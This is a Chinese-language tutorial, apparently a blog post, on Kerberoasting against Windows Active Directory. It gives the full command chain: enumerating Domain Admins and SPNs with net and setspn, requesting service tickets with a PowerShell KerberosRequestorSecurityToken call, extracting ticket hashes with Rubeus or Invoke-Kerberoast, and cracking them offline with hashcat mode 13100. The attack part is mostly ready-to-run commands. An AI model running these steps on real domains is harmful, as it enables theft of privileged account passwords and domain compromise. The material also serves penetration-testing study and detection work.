kerberosating攻击利用

kerberosating攻击利用

Scroll Down

一、简介

1.1 攻击流程

  • kerberosating是一种基于Kerberos协议,利用SPN机制签发ST,取得票据后,对票据进行离线破解以此取得SPN所关联账户的明文密码的机制。

1.2 SPN

  • SPN(ServicePrincipal Names)是一个服务实例的唯一标识符,kerberos 身份验证使用 SPN 将服务实例与服务登录帐户相关联。

  • 换言之,就是如果想使用 Kerberos 协议来认证服务,那么必须正确配置 SPN。

  • SPN示例:

    • 格式:<serviceclass>/<host>:<port>/<service name>
    • 远程桌面服务:TERMSRV/WIN-DO4J60BDGU8.tech.com
    • LDAP服务:ldap/DC/tech.com
  • 对账户设置SPN

    • setspn -S test/test.tech.com privilege

image-20231103111847067

二、攻击

2.1 利用流程

  • 查看域内特权账户==>找到这些特权账户的SPN==>利用SPN主动申请ST==>将票据导出==>离线破解==>取得关联账户明文密码

2.2 探查域内特权账户

  • 使用普通域内账户即可开始攻击

image-20231103112938114

  • 查询域管账户:
    • net groups "Domain Admins" /domain

image-20231103113056469

2.3 找到这些特权账户的SPN

  • 查询域内所有的SPN
    • setspn -q */*

image-20231103122656411

2.4 利用SPN主动申请ST

  • 根据扫描出的结果使用微软提供的类 KerberosRequestorSecurityToken 发起 kerberos 请求,申请 ST 票据。
PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "test/test.tech.com"  
  • 注意:
    • 因为这里使用的是自身的普通账户请求的票据,所以没法直接采用PTT的方式使用票据的关联特权账户权限

image-20231103123242285

2.5 票据利用

2.5.1 方式1

  • 依赖工具:

  • 导出票据hash(二种工具任一种即可)

    • Rubeus.exe kerberoast

    image-20231103124915355

    • Invoke-Kerberoast.ps1
    • 这里我上一天执行的时侯还是OK的,今天再复现就出现了异常~~~,就盗图了哈
PS C:\> Import-module .\Invoke-Kerberoast.ps1
PS C:\> Invoke-kerberoast -outputformat hashcat |fl
正常情况异常情况
image-20231103133914321
  • 离线破解:
    • hashcat -m 13100 hash2.txt passwd.txt -o found.txt --force
    • 注:hash2.txt是前线取得的hash值,注意将其转为单行!否则不符合格式

image-20231103132715340

2.5.2 方式2(未成功复现,kerberos依赖较麻烦)